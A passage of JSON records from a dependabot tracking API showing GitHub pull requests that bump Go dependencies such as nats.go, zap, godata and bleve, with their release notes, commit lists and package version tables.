href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.37.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `go.uber.org/zap` from 1.27.1 to 1.28.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber-go/zap/releases\"\u003ego.uber.org/zap's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.28.0\u003c/h2\u003e\n\u003cp\u003eEnhancements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e[]: Add \u003ccode\u003ezapcore.CheckPreWriteHook\u003c/code\u003e and \u003ccode\u003eCheckedEntry.Before\u003c/code\u003e method for transforming entries before they are written to any Cores.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e: \u003ca href=\"https://redirect.github.com/uber-go/zap/pull/1534\"\u003euber-go/zap#1534\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber-go/zap/blob/master/CHANGELOG.md\"\u003ego.uber.org/zap's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.28.0 (27 Apr 2026)\u003c/h2\u003e\n\u003cp\u003eEnhancements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e[]: Add \u003ccode\u003ezapcore.CheckPreWriteHook\u003c/code\u003e and \u003ccode\u003eCheckedEntry.Before\u003c/code\u003e method for transforming entries before they are written to any Cores.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/5b81b37b81b8e2ed447a6f57991e372ee4fa5c8f\"\u003e\u003ccode\u003e5b81b37\u003c/code\u003e\u003c/a\u003e release v1.28.0 (\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1547\"\u003e#1547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/0ab0d5aae5986395e2ca497385d977ccd7cdfc5e\"\u003e\u003ccode\u003e0ab0d5a\u003c/code\u003e\u003c/a\u003e zapcore: Add PreWriteHook for transforming entries before write (\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/d278c5962cb0f7423170c11a5da9b7a4edbf9b92\"\u003e\u003ccode\u003ed278c59\u003c/code\u003e\u003c/a\u003e [chore] CI: test on Go 1.26 (\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1535\"\u003e#1535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/16fb16b353f2e27bcd71eba69cbd346b3dcc471a\"\u003e\u003ccode\u003e16fb16b\u003c/code\u003e\u003c/a\u003e chore(dep): replace archived gopkg.in/yaml.v3 with officially maintained go.y...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/uber-go/zap/compare/v1.27.1...v1.28.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/ideaconnect/nuts/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ideaconnect%2Fnuts/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"}},{"old_version":"2.12.6","new_version":"2.14.1","update_type":"minor","path":null,"pr_created_at":"2026-05-20T17:52:39.000Z","version_change":"2.12.6 → 2.14.1","issue":{"uuid":"4488718180","node_id":"PR_kwDOE8yxrc7do_qe","number":2350,"state":"closed","title":"build(deps): bump the minor-and-patch group with 31 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-21T11:50:06.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-20T17:52:39.000Z","updated_at":"2026-05-21T11:50:09.000Z","time_to_close":64647,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"minor-and-patch","update_count":31,"packages":[{"name":"github.com/CiscoM31/godata","old_version":"1.0.10","new_version":"1.0.11","repository_url":"https://github.com/CiscoM31/godata"},{"name":"github.com/blevesearch/bleve/v2","old_version":"2.5.7","new_version":"2.6.0","repository_url":"https://github.com/blevesearch/bleve"},{"name":"github.com/coreos/go-oidc/v3","old_version":"3.17.0","new_version":"3.18.0","repository_url":"https://github.com/coreos/go-oidc"},{"name":"github.com/davidbyttow/govips/v2","old_version":"2.16.0","new_version":"2.18.0","repository_url":"https://github.com/davidbyttow/govips"},{"name":"github.com/gabriel-vasile/mimetype","old_version":"1.4.12","new_version":"1.4.13","repository_url":"https://github.com/gabriel-vasile/mimetype"},{"name":"github.com/go-ldap/ldap/v3","old_version":"3.4.12","new_version":"3.4.13","repository_url":"https://github.com/go-ldap/ldap"},{"name":"github.com/go-playground/validator/v10","old_version":"10.30.1","new_version":"10.30.2","repository_url":"https://github.com/go-playground/validator"},{"name":"github.com/gookit/config/v2","old_version":"2.2.7","new_version":"2.2.8","repository_url":"https://github.com/gookit/config"},{"name":"github.com/grpc-ecosystem/grpc-gateway/v2","old_version":"2.28.0","new_version":"2.29.0","repository_url":"https://github.com/grpc-ecosystem/grpc-gateway"},{"name":"github.com/kovidgoyal/imaging","old_version":"1.8.19","new_version":"1.8.21","repository_url":"https://github.com/kovidgoyal/imaging"},{"name":"github.com/libregraph/lico","old_version":"0.66.0","new_version":"0.67.0","repository_url":"https://github.com/libregraph/lico"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.1","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.49.0","new_version":"1.51.0","repository_url":"https://github.com/nats-io/nats.go"},{"name":"github.com/olekukonko/tablewriter","old_version":"1.1.0","new_version":"1.1.4","repository_url":"https://github.com/olekukonko/tablewriter"},{"name":"github.com/onsi/ginkgo/v2","old_version":"2.28.1","new_version":"2.29.0","repository_url":"https://github.com/onsi/ginkgo"},{"name":"github.com/onsi/gomega","old_version":"1.39.0","new_version":"1.40.0","repository_url":"https://github.com/onsi/gomega"},{"name":"github.com/open-policy-agent/opa","old_version":"1.12.3","new_version":"1.16.2","repository_url":"https://github.com/open-policy-agent/opa"},{"name":"github.com/rs/zerolog","old_version":"1.34.0","new_version":"1.35.1","repository_url":"https://github.com/rs/zerolog"},{"name":"github.com/tidwall/gjson","old_version":"1.18.0","new_version":"1.19.0","repository_url":"https://github.com/tidwall/gjson"},{"name":"github.com/tus/tusd/v2","old_version":"2.9.1","new_version":"2.9.2","repository_url":"https://github.com/tus/tusd"},{"name":"go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc","old_version":"0.65.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"},{"name":"go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp","old_version":"0.64.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"},{"name":"go.opentelemetry.io/contrib/zpages","old_version":"0.64.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"},{"name":"golang.org/x/crypto","old_version":"0.50.0","new_version":"0.51.0","repository_url":"https://github.com/golang/crypto"},{"name":"golang.org/x/image","old_version":"0.39.0","new_version":"0.40.0","repository_url":"https://github.com/golang/image"},{"name":"golang.org/x/net","old_version":"0.53.0","new_version":"0.54.0","repository_url":"https://github.com/golang/net"},{"name":"golang.org/x/oauth2","old_version":"0.35.0","new_version":"0.36.0","repository_url":"https://github.com/golang/oauth2"},{"name":"golang.org/x/term","old_version":"0.42.0","new_version":"0.43.0","repository_url":"https://github.com/golang/term"},{"name":"golang.org/x/text","old_version":"0.36.0","new_version":"0.37.0","repository_url":"https://github.com/golang/text"},{"name":"google.golang.org/genproto/googleapis/api","old_version":"0.0.0-20260401024825-9d38bb4040a9","new_version":"0.0.0-20260414002931-afd174a4e478","repository_url":"https://github.com/googleapis/go-genproto"},{"name":"google.golang.org/grpc","old_version":"1.80.0","new_version":"1.81.1","repository_url":"https://github.com/grpc/grpc-go"}],"path":null,"ecosystem":"go"},"body":"Bumps the minor-and-patch group with 31 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/CiscoM31/godata](https://github.com/CiscoM31/godata) | `1.0.10` | `1.0.11` |\n| [github.com/blevesearch/bleve/v2](https://github.com/blevesearch/bleve) | `2.5.7` | `2.6.0` |\n| [github.com/coreos/go-oidc/v3](https://github.com/coreos/go-oidc) | `3.17.0` | `3.18.0` |\n| [github.com/davidbyttow/govips/v2](https://github.com/davidbyttow/govips) | `2.16.0` | `2.18.0` |\n| [github.com/gabriel-vasile/mimetype](https://github.com/gabriel-vasile/mimetype) | `1.4.12` | `1.4.13` |\n| [github.com/go-ldap/ldap/v3](https://github.com/go-ldap/ldap) | `3.4.12` | `3.4.13` |\n| [github.com/go-playground/validator/v10](https://github.com/go-playground/validator) | `10.30.1` | `10.30.2` |\n| [github.com/gookit/config/v2](https://github.com/gookit/config) | `2.2.7` | `2.2.8` |\n| [github.com/grpc-ecosystem/grpc-gateway/v2](https://github.com/grpc-ecosystem/grpc-gateway) | `2.28.0` | `2.29.0` |\n| [github.com/kovidgoyal/imaging](https://github.com/kovidgoyal/imaging) | `1.8.19` | `1.8.21` |\n| [github.com/libregraph/lico](https://github.com/libregraph/lico) | `0.66.0` | `0.67.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.14.1` |\n| [github.com/nats-io/nats.go](https://github.com/nats-io/nats.go) | `1.49.0` | `1.51.0` |\n| [github.com/olekukonko/tablewriter](https://github.com/olekukonko/tablewriter) | `1.1.0` | `1.1.4` |\n| [github.com/onsi/ginkgo/v2](https://github.com/onsi/ginkgo) | `2.28.1` | `2.29.0` |\n| [github.com/onsi/gomega](https://github.com/onsi/gomega) | `1.39.0` | `1.40.0` |\n| [github.com/open-policy-agent/opa](https://github.com/open-policy-agent/opa) | `1.12.3` | `1.16.2` |\n| [github.com/rs/zerolog](https://github.com/rs/zerolog) | `1.34.0` | `1.35.1` |\n| [github.com/tidwall/gjson](https://github.com/tidwall/gjson) | `1.18.0` | `1.19.0` |\n| [github.com/tus/tusd/v2](https://github.com/tus/tusd) | `2.9.1` | `2.9.2` |\n| [go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc](https://github.com/open-telemetry/opentelemetry-go-contrib) | `0.65.0` | `0.68.0` |\n| [go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp](https://github.com/open-telemetry/opentelemetry-go-contrib) | `0.64.0` | `0.68.0` |\n| [go.opentelemetry.io/contrib/zpages](https://github.com/open-telemetry/opentelemetry-go-contrib) | `0.64.0` | `0.68.0` |\n| [golang.org/x/crypto](https://github.com/golang/crypto) | `0.50.0` | `0.51.0` |\n| [golang.org/x/image](https://github.com/golang/image) | `0.39.0` | `0.40.0` |\n| [golang.org/x/net](https://github.com/golang/net) | `0.53.0` | `0.54.0` |\n| [golang.org/x/oauth2](https://github.com/golang/oauth2) | `0.35.0` | `0.36.0` |\n| [golang.org/x/term](https://github.com/golang/term) | `0.42.0` | `0.43.0` |\n| [golang.org/x/text](https://github.com/golang/text) | `0.36.0` | `0.37.0` |\n| [google.golang.org/genproto/googleapis/api](https://github.com/googleapis/go-genproto) | `0.0.0-20260401024825-9d38bb4040a9` | `0.0.0-20260414002931-afd174a4e478` |\n| [google.golang.org/grpc](https://github.com/grpc/grpc-go) | `1.80.0` | `1.81.1` |\n\nUpdates `github.com/CiscoM31/godata` from 1.0.10 to 1.0.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/CiscoM31/godata/releases\"\u003egithub.com/CiscoM31/godata's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.0.11\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eImprove geo spacial query support\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSupport geo.distance() and geo.intersects() queries\u003c/li\u003e\n\u003cli\u003eAdd support for Edm.GeographyPoint type\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eChanges to existing behavior\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTreat geo.intersects() function as having a boolean return value. fixes prior bug where it was treated as non-boolean\u003c/li\u003e\n\u003cli\u003eChange parsing of Edm.GeographyPoint literal to parse into Token.Value as string '\u003c!-- raw HTML omitted --\u003e \u003c!-- raw HTML omitted --\u003e'\u003c/li\u003e\n\u003cli\u003eChange parsing of Edm.GeographyPolygon and Edm.GeometryPolygon literal to parse into Token.Value as string '\u003c!-- raw HTML omitted --\u003e \u003c!-- raw HTML omitted --\u003e,\u003c!-- raw HTML omitted --\u003e \u003c!-- raw HTML omitted --\u003e...'\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/CiscoM31/godata/compare/v1.0.10...v1.0.11\"\u003ehttps://github.com/CiscoM31/godata/compare/v1.0.10...v1.0.11\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/a12ce3f09a3cfa053408a1d7d44db9d9576d9de1\"\u003e\u003ccode\u003ea12ce3f\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/CiscoM31/godata/issues/47\"\u003e#47\u003c/a\u003e from CiscoM31/geo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/c493bc19e382bad421beb9691969f4582d432e08\"\u003e\u003ccode\u003ec493bc1\u003c/code\u003e\u003c/a\u003e add additional geo.distance tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/799664ad0ecc84cb7c3a204fa86e6f9abd89b59f\"\u003e\u003ccode\u003e799664a\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master-intersight' into geo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/3230bb158f06ed8dc2ad864e3c13c3aec88ceb6a\"\u003e\u003ccode\u003e3230bb1\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/CiscoM31/godata/issues/48\"\u003e#48\u003c/a\u003e from CiscoM31/fix-ci\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/24589109dc049fde03a3d9cb6ecce6cc4e26da1c\"\u003e\u003ccode\u003e2458910\u003c/code\u003e\u003c/a\u003e use latest golangci-lint version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/4798311032539d400af290ea06eb8fd0a70da780\"\u003e\u003ccode\u003e4798311\u003c/code\u003e\u003c/a\u003e bump workflow actions/checkout to v3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/7198fd486249304de0fb4e46fab2a99ad6e46b66\"\u003e\u003ccode\u003e7198fd4\u003c/code\u003e\u003c/a\u003e update workflow golangci-lint-action to v3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/8e0bcc5f62bc8010da6081fc06db3b8eb71d487d\"\u003e\u003ccode\u003e8e0bcc5\u003c/code\u003e\u003c/a\u003e change 'dot import' to 'named import'. dot imports are a discouraged practice...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/dc2f4905d10429ac5bb3ed9020b91fd198c66e90\"\u003e\u003ccode\u003edc2f490\u003c/code\u003e\u003c/a\u003e bump golangci-lint to v2.1.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/4a20a72571b8c1763804145f458a68fee83e3321\"\u003e\u003ccode\u003e4a20a72\u003c/code\u003e\u003c/a\u003e Improve query to tree parsing for geo spacial types\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/CiscoM31/godata/compare/v1.0.10...v1.0.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/blevesearch/bleve/v2` from 2.5.7 to 2.6.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/blevesearch/bleve/releases\"\u003egithub.com/blevesearch/bleve/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.6.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMB-69881: Improved APIs and perf optimizations for vector search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2270\"\u003eblevesearch/bleve#2270\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-27666: Hierarchy Search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/hierarchy.md\"\u003edocs/hierarchy.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove legacy vendor folder by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2271\"\u003eblevesearch/bleve#2271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpgrade several dependencies - roaring/v2, mmap-go etc. by \u003ca href=\"https://github.com/abhinavdangeti\"\u003e\u003ccode\u003e@​abhinavdangeti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2275\"\u003eblevesearch/bleve#2275\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-59633: Improve performance of Geospatial Search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2268\"\u003eblevesearch/bleve#2268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-70388: Add forced docvalues for geopoint fields by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2278\"\u003eblevesearch/bleve#2278\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-70410: Simplify \u003ccode\u003eCoalesceQueue\u003c/code\u003e in hierarchical nested search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2283\"\u003eblevesearch/bleve#2283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-61890 - Introducing config for zap layer by \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2066\"\u003eblevesearch/bleve#2066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle \u003ccode\u003enil\u003c/code\u003e multiSearchParams properly for \u003ccode\u003eMultiSearch\u003c/code\u003e by \u003ca href=\"https://github.com/capemox\"\u003e\u003ccode\u003e@​capemox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2286\"\u003eblevesearch/bleve#2286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-59633: Disable DocValues Chunking \u0026amp; Compression for Geo Fields by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2269\"\u003eblevesearch/bleve#2269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImproved geo spatial search accuracy by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/geo/pull/29\"\u003eblevesearch/geo#29\u003c/a\u003e \u0026amp; \u003ca href=\"https://redirect.github.com/blevesearch/geo/pull/30\"\u003eblevesearch/geo#30\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-62985: Support for Binary quantized vector indexes \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/vectors.md\"\u003edocs/vectors.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-62182: New merge approach that avoids re-training of vector indexes \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/fast_merge.md\"\u003edocs/fast_merge.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71041: avoid updating \u003ccode\u003eroot.bolt\u003c/code\u003e with in-memory segment's data by \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2296\"\u003eblevesearch/bleve#2296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-65018 add custom_filter/custom_score query support with context-driven callback hooks by \u003ca href=\"https://github.com/maneuvertomars\"\u003e\u003ccode\u003e@​maneuvertomars\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2289\"\u003eblevesearch/bleve#2289\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/custom_query.md\"\u003edocs/custom_query.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-65860: Introducing support for fileIO Callbacks by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2209\"\u003eblevesearch/bleve#2209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e(perf) pool queryStringLex to reuse bufio.Reader across query parses by \u003ca href=\"https://github.com/huynhanx03\"\u003e\u003ccode\u003e@​huynhanx03\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2300\"\u003eblevesearch/bleve#2300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003enull\u003c/code\u003e issue when parsing search request attributes by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2312\"\u003eblevesearch/bleve#2312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71375: Bolt Wrappers for File Callbacks by \u003ca 